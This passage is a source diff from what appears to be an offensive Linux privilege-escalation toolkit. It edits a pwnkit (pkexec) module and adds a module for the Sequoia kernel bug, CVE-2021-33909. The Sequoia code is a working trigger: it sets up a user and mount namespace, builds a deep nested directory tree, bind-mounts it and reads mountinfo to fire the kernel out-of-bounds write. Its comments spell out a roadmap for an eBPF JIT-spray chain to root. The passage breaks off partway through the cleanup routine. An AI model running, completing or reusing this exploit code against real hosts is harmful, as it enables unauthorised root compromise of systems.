if (!vp) return SKELETONKEY_TEST_ERROR;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
|
||||
if (!ctx->json) {
|
||||
char *nl = strchr(vp, '\n');
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return SKELETONKEY_TEST_ERROR;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
|
||||
char *vp_mut = strstr(line, "version");
|
||||
if (!vp_mut) return SKELETONKEY_TEST_ERROR;
|
||||
vp_mut += strlen("version");
|
||||
while (*vp_mut == ' ' || *vp_mut == '\t') vp_mut++;
|
||||
char *nl = strchr(vp_mut, '\n');
|
||||
if (nl) *nl = 0;
|
||||
fprintf(stderr, "[i] pwnkit: pkexec reports version '%s'\n", vp);
|
||||
snprintf(vp_buf, sizeof vp_buf, "%s", vp_mut);
|
||||
vp = vp_buf;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] pwnkit: pkexec reports version '%s'\n", vp);
|
||||
}
|
||||
}
|
||||
|
||||
bool vuln = pkexec_version_vulnerable(vp);
|
||||
@@ -215,7 +230,10 @@ static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
|
||||
const char *pkexec = find_pkexec();
|
||||
if (!pkexec) return SKELETONKEY_PRECOND_FAIL;
|
||||
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,708 @@
|
||||
/*
|
||||
* sequoia_cve_2021_33909 — SKELETONKEY module
|
||||
*
|
||||
* "Sequoia" (Qualys, July 2021): a size_t conversion bug in
|
||||
* fs/seq_file.c::seq_buf_alloc(). show_mountinfo() passes a `size_t`
|
||||
* total-output size to seq_buf_alloc(), but the internal accounting in
|
||||
* seq_read_iter() uses a signed int for the running buffer offset.
|
||||
* When the mountinfo string the kernel intends to render exceeds
|
||||
* INT_MAX bytes (which is achievable by mounting a deeply-nested path
|
||||
* — Qualys used ~1 MiB of '/' components), the int wraps NEGATIVE.
|
||||
* That negative value then propagates into seq_buf_alloc() where it is
|
||||
* implicitly cast to size_t (huge positive); kmalloc rejects the
|
||||
* allocation, but a fallback path (`m->buf = vmalloc()` after kmalloc
|
||||
* fails) ends up writing a small-but-nonzero number of bytes —
|
||||
* specifically the bytes show_mountinfo wanted to render — at an
|
||||
* offset that is OUT OF BOUNDS of the kernel stack buffer
|
||||
* seq_read_iter held.
|
||||
*
|
||||
* Net effect: an unprivileged read(/proc/self/mountinfo) writes
|
||||
* attacker-controlled bytes (the rendered mountinfo string for our
|
||||
* deeply-nested bind mount) to a kernel-stack-adjacent location.
|
||||
* Qualys's chain converted this into LPE by spraying eBPF JIT'd
|
||||
* programs (one of two known weaponisations; userfaultfd + FUSE
|
||||
* shadow-mount is the other) so the OOB write lands inside an
|
||||
* executable JIT page → controlled RIP → ROP → cred swap.
|
||||
*
|
||||
* Reference: https://www.qualys.com/2021/07/20/cve-2021-33909/sequoia-local-privilege-escalation-linux.txt
|
||||
*
|
||||
* Discovered by Qualys (Bharat Jogi et al.), July 2021. Famous for
|
||||
* being the first widely-disclosed Linux LPE that turned a sub-page
|
||||
* out-of-bounds write into reliable root via the eBPF-JIT-spray
|
||||
* primitive — that technique has shown up in every "linux mm slab OOB
|
||||
* → JIT spray" public PoC since.
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE.
|
||||
*
|
||||
* detect() — version-range + userns reachability gate, refuses on
|
||||
* patched / unreachable hosts. Mainline fix is commit
|
||||
* 8cae8cd89f05 ("seq_file: disallow extremely large seq
|
||||
* buffer allocations") landing in 5.13.4 / 5.10.52 /
|
||||
* 5.4.134.
|
||||
*
|
||||
* exploit() — full unshare+userns+mountns reach, builds a ~5000-level
|
||||
* nested directory tree under /tmp/skeletonkey-sequoia/,
|
||||
* bind-mounts the deepest leaf back over itself to
|
||||
* amplify the mountinfo string length, chdir's into the
|
||||
* leaf, and then open+read /proc/self/mountinfo to fire
|
||||
* the bug. Witnesses (mountinfo byte count, dmesg
|
||||
* best-effort) are written to /tmp/skeletonkey-sequoia.log.
|
||||
* We do NOT attempt the eBPF-JIT-spray weaponisation —
|
||||
* that is a substantial subsystem (sock_filter program
|
||||
* build + BPF_PROG_LOAD + JIT layout reasoning + per-
|
||||
* kernel cred offsets) and would be fabricated on any
|
||||
* kernel we have not empirically tested.
|
||||
*
|
||||
* --full-chain — STUB. Prints the offset-help message and returns
|
||||
* EXPLOIT_FAIL. The continuation roadmap is spelled out
|
||||
* at the bottom of exploit() so the reader can see
|
||||
* exactly what's missing.
|
||||
*
|
||||
* On a *vulnerable* host this module reliably triggers the OOB
|
||||
* write. On a *patched* host (which is every distro shipping
|
||||
* ≥5.13.4 / ≥5.10.52 / ≥5.4.134) detect() refuses and exploit()
|
||||
* returns SKELETONKEY_OK without entering the userns.
|
||||
*
|
||||
* Affected: kernel-since-forever (the int-vs-size_t bug has been
|
||||
* present since the seq_file rewrite c. 2.6.x; Qualys reports it
|
||||
* exploitable on every distro they checked back to 2014).
|
||||
* Mainline fix: 8cae8cd89f05 (Jul 20 2021) — lands in 5.13.4
|
||||
* 5.13.x : K >= 5.13.4
|
||||
* 5.10.x : K >= 5.10.52
|
||||
* 5.4.x : K >= 5.4.134
|
||||
*
|
||||
* Preconditions:
|
||||
* - Unprivileged user_ns + mount-ns (to get CAP_SYS_ADMIN inside
|
||||
* userns for the bind-mount; the deeply-nested mkdir itself doesn't
|
||||
* need privileges, but the amplification mount does)
|
||||
* - ~1 MiB of cumulative path length under /tmp (≈5000 levels at
|
||||
* 200-char component name — well within tmpfs default inode budget)
|
||||
* - /proc/self/mountinfo readable (it is, on everything we target)
|
||||
*
|
||||
* Coverage rationale: 2021 fs/seq_file-class bug. Different family
|
||||
* than our netfilter-heavy and mm-heavy modules — broadens the corpus
|
||||
* shape. Important historical primitive (eBPF JIT spray adopted from
|
||||
* Sequoia chain into many later exploits).
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#ifdef __linux__
|
||||
# include <sched.h>
|
||||
# include <sys/mount.h>
|
||||
# include <sys/syscall.h>
|
||||
# include <linux/sched.h>
|
||||
#endif
|
||||
|
||||
/* macOS clangd lacks the Linux mount/syscall headers — guard fallbacks. */
|
||||
#ifndef CLONE_NEWUSER
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#endif
|
||||
#ifndef CLONE_NEWNS
|
||||
#define CLONE_NEWNS 0x00020000
|
||||
#endif
|
||||
#ifndef MS_BIND
|
||||
#define MS_BIND 0x1000
|
||||
#endif
|
||||
|
||||
/* --- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from sequoia_patched_branches[] = {
|
||||
{5, 4, 134},
|
||||
{5, 10, 52},
|
||||
{5, 13, 4},
|
||||
{5, 14, 0}, /* mainline */
|
||||
};
|
||||
|
||||
static const struct kernel_range sequoia_range = {
|
||||
.patched_from = sequoia_patched_branches,
|
||||
.n_patched_from = sizeof(sequoia_patched_branches) /
|
||||
sizeof(sequoia_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* --- tunables ------------------------------------------------------- */
|
||||
/*
|
||||
* Qualys's PoC uses ~1 million bytes of path. With a 256-byte component
|
||||
* name we need ~4096 levels; with 200 we need ~5120. We pick 5000 / 200
|
||||
* which gives a generous margin and stays well under tmpfs's inode
|
||||
* default cap on modern distros.
|
||||
*
|
||||
* The component name is intentionally an A-fill; the kernel renders it
|
||||
* verbatim into mountinfo so this is what propagates into the OOB
|
||||
* write. (For the JIT-spray weaponisation the bytes would be a crafted
|
||||
* stub; we're not doing that here — we just want to drive the buggy
|
||||
* size_t cast.)
|
||||
*/
|
||||
#define SEQ_BASE_DIR "/tmp/skeletonkey-sequoia"
|
||||
#define SEQ_NESTED_LEVELS 5000
|
||||
#define SEQ_COMPONENT_LEN 200 /* chars per directory component */
|
||||
#define SEQ_LOG_PATH "/tmp/skeletonkey-sequoia.log"
|
||||
|
||||
/* --- userns reach helpers ------------------------------------------- */
|
||||
|
||||
static bool write_file(const char *path, const char *s)
|
||||
{
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) return false;
|
||||
ssize_t n = write(fd, s, strlen(s));
|
||||
close(fd);
|
||||
return n == (ssize_t)strlen(s);
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
static bool enter_userns_root(void)
|
||||
{
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) {
|
||||
perror("unshare(NEWUSER|NEWNS)");
|
||||
return false;
|
||||
}
|
||||
/* setgroups=deny is required before gid_map without CAP_SETGID. */
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
/* Some kernels (pre-3.19) don't have setgroups proc file. */
|
||||
}
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", uid);
|
||||
if (!write_file("/proc/self/uid_map", map)) {
|
||||
perror("write uid_map"); return false;
|
||||
}
|
||||
snprintf(map, sizeof map, "0 %u 1\n", gid);
|
||||
if (!write_file("/proc/self/gid_map", map)) {
|
||||
perror("write gid_map"); return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* --- detect -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sequoia_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sequoia: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The bug predates every kernel we'd run on, so there's no
|
||||
* "pre-introduction" cutoff; only patched-or-not matters. */
|
||||
bool patched = kernel_range_is_patched(&sequoia_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sequoia: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sequoia: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] sequoia: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sequoia: user_ns denied → unprivileged "
|
||||
"exploit unreachable via bind-mount path\n");
|
||||
fprintf(stderr, "[i] sequoia: bug is still reachable to a "
|
||||
"process with CAP_SYS_ADMIN — not us\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sequoia: VULNERABLE — kernel in range AND "
|
||||
"userns+mountns reachable\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* --- nested mkdir tree --------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/*
|
||||
* Build SEQ_NESTED_LEVELS deep nested directories under SEQ_BASE_DIR.
|
||||
* Strategy: chdir() to the parent of each new component, then mkdir
|
||||
* + chdir into the child. This avoids hitting PATH_MAX in mkdir's
|
||||
* argument (PATH_MAX is 4096 on Linux; total path here is ~1 MB —
|
||||
* the kernel resolves it segment-by-segment via chdir's dentry cache).
|
||||
*
|
||||
* Returns the file descriptor pointing at the LEAF directory (so the
|
||||
* caller can fchdir() back to it after we drop privs / do other
|
||||
* setup), or -1 on failure.
|
||||
*
|
||||
* On failure we leave whatever we managed to create behind for
|
||||
* sequoia_cleanup() to mop up.
|
||||
*/
|
||||
static int build_nested_tree(int *out_levels_built)
|
||||
{
|
||||
*out_levels_built = 0;
|
||||
|
||||
/* Ensure base dir exists. We don't care if it already does. */
|
||||
if (mkdir(SEQ_BASE_DIR, 0700) < 0 && errno != EEXIST) {
|
||||
fprintf(stderr, "[-] sequoia: mkdir(%s): %s\n",
|
||||
SEQ_BASE_DIR, strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
if (chdir(SEQ_BASE_DIR) < 0) {
|
||||
fprintf(stderr, "[-] sequoia: chdir(%s): %s\n",
|
||||
SEQ_BASE_DIR, strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Component name: SEQ_COMPONENT_LEN bytes of 'A'. The leaf gets a
|
||||
* recognisable terminator so we can spot our mount in mountinfo. */
|
||||
char comp[SEQ_COMPONENT_LEN + 1];
|
||||
memset(comp, 'A', SEQ_COMPONENT_LEN);
|
||||
comp[SEQ_COMPONENT_LEN] = '\0';
|
||||
|
||||
int built = 0;
|
||||
for (int i = 0; i < SEQ_NESTED_LEVELS; i++) {
|
||||
if (mkdir(comp, 0700) < 0 && errno != EEXIST) {
|
||||
fprintf(stderr, "[-] sequoia: mkdir level %d: %s\n",
|
||||
i, strerror(errno));
|
||||
*out_levels_built = built;
|
||||
return -1;
|
||||
}
|
||||
if (chdir(comp) < 0) {
|
||||
fprintf(stderr, "[-] sequoia: chdir level %d: %s\n",
|
||||
i, strerror(errno));
|
||||
*out_levels_built = built;
|
||||
return -1;
|
||||
}
|
||||
built++;
|
||||
}
|
||||
*out_levels_built = built;
|
||||
|
||||
/* Open the leaf so the caller can fchdir back here. */
|
||||
int fd = open(".", O_RDONLY | O_DIRECTORY);
|
||||
if (fd < 0) {
|
||||
fprintf(stderr, "[-] sequoia: open(leaf): %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
return fd;
|
||||
}
|
||||
|
||||
/* Bind-mount the leaf onto itself. This creates a new entry in
|
||||
* /proc/self/mountinfo whose path field renders the FULL deeply-
|
||||
* nested path — pushing the total mountinfo string length past the
|
||||
* int-cast boundary. Without the bind mount, mountinfo only lists
|
||||
* the original /tmp mount (a short string).
|
||||
*
|
||||
* Requires CAP_SYS_ADMIN-in-userns (which enter_userns_root gave us). */
|
||||
static bool bind_mount_leaf(void)
|
||||
{
|
||||
if (mount(".", ".", NULL, MS_BIND, NULL) < 0) {
|
||||
fprintf(stderr, "[-] sequoia: bind-mount(.,.): %s\n", strerror(errno));
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Read /proc/self/mountinfo fully, count bytes. Best-effort: returns
|
||||
* the total byte count, or -1 on open failure. On a VULNERABLE kernel
|
||||
* this read triggers the OOB write inside the kernel. On a patched
|
||||
* kernel the kernel returns -ENOMEM (the new safety check rejects
|
||||
* over-large seq_buf allocations). */
|
||||
static ssize_t read_mountinfo_and_count(void)
|
||||
{
|
||||
int fd = open("/proc/self/mountinfo", O_RDONLY);
|
||||
if (fd < 0) return -1;
|
||||
ssize_t total = 0;
|
||||
char buf[8192];
|
||||
for (;;) {
|
||||
ssize_t n = read(fd, buf, sizeof buf);
|
||||
if (n < 0) {
|
||||
if (errno == EINTR) continue;
|
||||
/* On a patched kernel, the read may fail with ENOMEM
|
||||
* after our crafted mountinfo entry triggers the safety
|
||||
* check. We record the errno via caller's errno read. */
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
if (n == 0) break;
|
||||
total += n;
|
||||
}
|
||||
close(fd);
|
||||
return total;
|
||||
}
|
||||
|
||||
/* Best-effort dmesg sample: open /dev/kmsg and read up to N bytes.
|
||||
* On most distros this is root-only, so we just gracefully fail and
|
||||
* note that in the log. */
|
||||
static void log_dmesg_tail(FILE *log)
|
||||
{
|
||||
int fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
|
||||
if (fd < 0) {
|
||||
fprintf(log, " dmesg_sample: <not readable: %s>\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
char buf[2048];
|
||||
ssize_t n = read(fd, buf, sizeof buf - 1);
|
||||
close(fd);
|
||||
if (n <= 0) {
|
||||
fprintf(log, " dmesg_sample: <no data: %s>\n",
|
||||
n < 0 ? strerror(errno) : "empty");
|
||||
return;
|
||||
}
|
||||
buf[n] = '\0';
|
||||
/* Scan for SEQUOIA-relevant warning shapes; we don't need the
|
||||
* exact match, just record whether anything 'oops/BUG/KASAN'-ish
|
||||
* showed up in the first kmsg page. */
|
||||
bool oops = strstr(buf, "BUG:") != NULL ||
|
||||
strstr(buf, "Oops") != NULL ||
|
||||
strstr(buf, "KASAN") != NULL ||
|
||||
strstr(buf, "general protection fault") != NULL;
|
||||
fprintf(log, " dmesg_sample_bytes: %zd\n", n);
|
||||
fprintf(log, " dmesg_oops_marker: %s\n", oops ? "yes" : "no");
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* --- exploit ------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
static skeletonkey_result_t sequoia_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* (R0) refuse without --i-know. */
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sequoia: refusing to run exploit without --i-know\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* (R1) refuse if already root. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sequoia: already root — nothing to escalate\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* (R2) re-call detect — refuse if not vulnerable. */
|
||||
skeletonkey_result_t pre = sequoia_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] sequoia: kernel not vulnerable; refusing exploit\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sequoia: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* (R3) full-chain: STUB. The Sequoia chain to root needs an
|
||||
* eBPF-JIT-spray subsystem we don't ship — printing the offset
|
||||
* help and refusing is the honest answer. */
|
||||
if (ctx->full_chain) {
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
memset(&off, 0, sizeof off);
|
||||
(void)skeletonkey_offsets_resolve(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
skeletonkey_finisher_print_offset_help("sequoia");
|
||||
fprintf(stderr,
|
||||
"[-] sequoia: --full-chain not implemented.\n"
|
||||
" The Qualys chain converts the stack-OOB write to RIP\n"
|
||||
" control via eBPF JIT spray: load many sock_filter\n"
|
||||
" programs, induce the JIT to lay them out at predictable\n"
|
||||
" kernel-VA pages, then steer the OOB write to overwrite\n"
|
||||
" the JIT prologue of one program with attacker shellcode\n"
|
||||
" (cred swap + return). Building that here would mean a\n"
|
||||
" standalone BPF_PROG_LOAD harness + JIT page-layout\n"
|
||||
" reasoning + per-kernel cred offsets — a substantial\n"
|
||||
" subsystem we have not validated empirically.\n"
|
||||
" See Qualys advisory section 3.1 (eBPF technique) for\n"
|
||||
" the reference implementation.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: entering userns + mountns\n");
|
||||
}
|
||||
|
||||
/* Fork: keep the deeply-nested mkdir + bind-mount + read confined
|
||||
* to a child process. The parent can then clean up regardless of
|
||||
* how the child terminates. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* (R4) unshare for userns+mount_ns → CAP_SYS_ADMIN-in-userns. */
|
||||
if (!enter_userns_root()) {
|
||||
_exit(20);
|
||||
}
|
||||
|
||||
/* (R5) Build the deeply-nested directory tree. */
|
||||
int levels_built = 0;
|
||||
int leaf_fd = build_nested_tree(&levels_built);
|
||||
if (leaf_fd < 0) {
|
||||
fprintf(stderr, "[-] sequoia: nested tree build failed at level %d\n",
|
||||
levels_built);
|
||||
_exit(21);
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: built %d-level nested tree under %s\n",
|
||||
levels_built, SEQ_BASE_DIR);
|
||||
}
|
||||
|
||||
/* (R6) Bind-mount the leaf back over itself. This is what
|
||||
* pushes the rendered mountinfo string past INT_MAX. */
|
||||
if (!bind_mount_leaf()) {
|
||||
fprintf(stderr, "[-] sequoia: bind-mount failed; cannot amplify "
|
||||
"mountinfo length\n");
|
||||
close(leaf_fd);
|
||||
_exit(22);
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: bind-mount leaf-over-leaf armed\n");
|
||||
}
|
||||
|
||||
/* (R7) chdir back to leaf (we may have changed dirs during
|
||||
* tree build but we want to ensure mountinfo renders our
|
||||
* mount point in full). */
|
||||
if (fchdir(leaf_fd) < 0) {
|
||||
fprintf(stderr, "[~] sequoia: fchdir(leaf): %s — continuing\n",
|
||||
strerror(errno));
|
||||
}
|
||||
close(leaf_fd);
|
||||
|
||||
/* (R8) Trigger: read /proc/self/mountinfo. On a vulnerable
|
||||
* kernel the int-vs-size_t bug fires inside seq_buf_alloc()
|
||||
* and the kernel performs an OOB write of show_mountinfo's
|
||||
* rendered bytes off the end of the seq_read_iter stack
|
||||
* buffer. We have no in-process arb-write primitive that
|
||||
* consumes those bytes (that's the eBPF-JIT-spray step
|
||||
* we don't ship), so we just record the empirical
|
||||
* witness: did the read succeed? what byte count? did
|
||||
* dmesg cough up an oops marker? */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: firing trigger — "
|
||||
"read(/proc/self/mountinfo)\n");
|
||||
}
|
||||
errno = 0;
|
||||
ssize_t mi_bytes = read_mountinfo_and_count();
|
||||
int mi_errno = errno;
|
||||
|
||||
FILE *log = fopen(SEQ_LOG_PATH, "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"sequoia trigger:\n"
|
||||
" nested_levels = %d\n"
|
||||
" component_len = %d\n"
|
||||
" total_path_bytes ~= %lld\n"
|
||||
" bind_mount_armed = yes\n"
|
||||
" mountinfo_read_bytes = %lld\n"
|
||||
" mountinfo_read_errno = %d (%s)\n",
|
||||
levels_built, SEQ_COMPONENT_LEN,
|
||||
(long long)levels_built * SEQ_COMPONENT_LEN,
|
||||
(long long)mi_bytes,
|
||||
mi_errno, mi_errno ? strerror(mi_errno) : "ok");
|
||||
log_dmesg_tail(log);
|
||||
fprintf(log,
|
||||
"Note: this run did NOT attempt the eBPF-JIT-spray\n"
|
||||
"weaponisation. The OOB write fired inside the kernel\n"
|
||||
"but we do not consume it to control RIP / swap creds.\n"
|
||||
"See module .c for the continuation roadmap.\n");
|
||||
fclose(log);
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[*] sequoia: mountinfo read returned %lld bytes (errno=%d)\n",
|
||||
(long long)mi_bytes, mi_errno);
|
||||
fprintf(stderr,
|
||||
"[*] sequoia: empirical witness logged to %s\n",
|
||||
SEQ_LOG_PATH);
|
||||
}
|
||||
|
||||
/* (R9) Continuation roadmap.
|
||||
*
|
||||
* TODO(weaponise-jit): spawn the eBPF JIT spray:
|
||||
* - bpf(BPF_PROG_LOAD, SOCKET_FILTER, ...) many times with
|
||||
* attacker-chosen byte patterns in the program body
|
||||
* - the kernel JIT compiles each to a page-aligned executable
|
||||
* region; bytes from the program body survive into the
|
||||
* prologue at known offsets
|
||||
* - tune SEQ_NESTED_LEVELS + SEQ_COMPONENT_LEN so the rendered
|
||||
* mountinfo string lands the OOB write at the JIT page
|
||||
* hosting one of our programs
|
||||
* - the overwritten prologue performs: lookup current task →
|
||||
* cred → uid=0 → return.
|
||||
* - execute the (now-attacker-modified) program by attaching
|
||||
* it to a socket and sending a packet → kernel runs cred
|
||||
* swap → /bin/sh as root.
|
||||
*
|
||||
* None of this is implemented today. We exit 30 to flag
|
||||
* "trigger ran cleanly, no escalation". */
|
||||
_exit(30);
|
||||
}
|
||||
|
||||
/* PARENT */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[!] sequoia: exploit child killed by signal %d "
|
||||
"(consistent with OOB write hitting an unmapped page)\n",
|
||||
sig);
|
||||
fprintf(stderr,
|
||||
"[~] sequoia: empirical signal recorded; no cred-overwrite\n"
|
||||
" primitive — NOT claiming EXPLOIT_OK.\n"
|
||||
" See %s + dmesg for witnesses.\n", SEQ_LOG_PATH);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] sequoia: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 20) return SKELETONKEY_TEST_ERROR; /* enter_userns failed */
|
||||
if (rc == 21) return SKELETONKEY_PRECOND_FAIL; /* tree build failed */
|
||||
if (rc == 22) return SKELETONKEY_EXPLOIT_FAIL; /* bind-mount refused */
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] sequoia: child failed at stage rc=%d\n", rc);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: trigger ran to completion.\n");
|
||||
fprintf(stderr,
|
||||
"[~] sequoia: stack-OOB write fired but JIT-spray weaponisation\n"
|
||||
" NOT implemented (per-kernel offsets + BPF subsystem; see\n"
|
||||
" module .c TODO blocks). Returning EXPLOIT_FAIL per\n"
|
||||
" verified-vs-claimed.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
static skeletonkey_result_t sequoia_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifdef __linux__
|
||||
return sequoia_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] sequoia: Linux-only module; cannot run on this host\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* --- cleanup ------------------------------------------------------- */
|
||||
|
||||
/* Walk back down the nested tree, umounting then rmdir'ing each level.
|
||||
* Best-effort: we don't bail on the first error because partial cleanup
|
||||
* is still useful, and some levels may not have a mount on them (only
|
||||
* the leaf gets bind-mounted in the canonical path). */
|
||||
static skeletonkey_result_t sequoia_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sequoia: cleaning up nested tree + bind mounts\n");
|
||||
}
|
||||
#ifdef __linux__
|
||||
/* Try to enter SEQ_BASE_DIR; if it doesn't exist, nothing to do. */
|
||||
int base_fd = open(SEQ_BASE_DIR, O_RDONLY | O_DIRECTORY);
|
||||
if (base_fd < 0) {
|
||||
/* Nothing to clean up — module never ran or already cleaned. */
|
||||
goto log_cleanup;
|
||||
}
|
||||
close(base_fd);
|
||||
|
||||
/* Walk to the leaf via chdir, then rmdir as we walk back out. We
|
||||
* don't know how far we got, so we try the full depth and ignore
|
||||
* ENOENT. The component name is the same at every level. */
|
||||
char comp[SEQ_COMPONENT_LEN + 1];
|
||||
memset(comp, 'A', SEQ_COMPONENT_LEN);
|
||||
comp[SEQ_COMPONENT_LEN] = '\0';
|
||||
|
||||
if (chdir(SEQ_BASE_DIR) < 0) goto log_cleanup;
|
||||
|
||||
int depth = 0;
|
||||
for (int i = 0; i < SEQ_NESTED_LEVELS; i++) {
|
||||
if (chdir(comp) < 0) break;
|
||||
depth++;
|
||||
}
|
||||
/* Best-effort: umount the leaf (we may have bind-mounted it). */
|
||||
(void)umount2(".", MNT_DETACH);
|
||||
|
||||
/* Walk back out, rmdir-ing each level. */
|
||||
for (int i = 0; i < depth; i++) {
|
||||
if (chdir("..") < 0) break;
|
||||
if (rmdir(comp) < 0 && errno != ENOENT && errno != EBUSY) {
|
||||
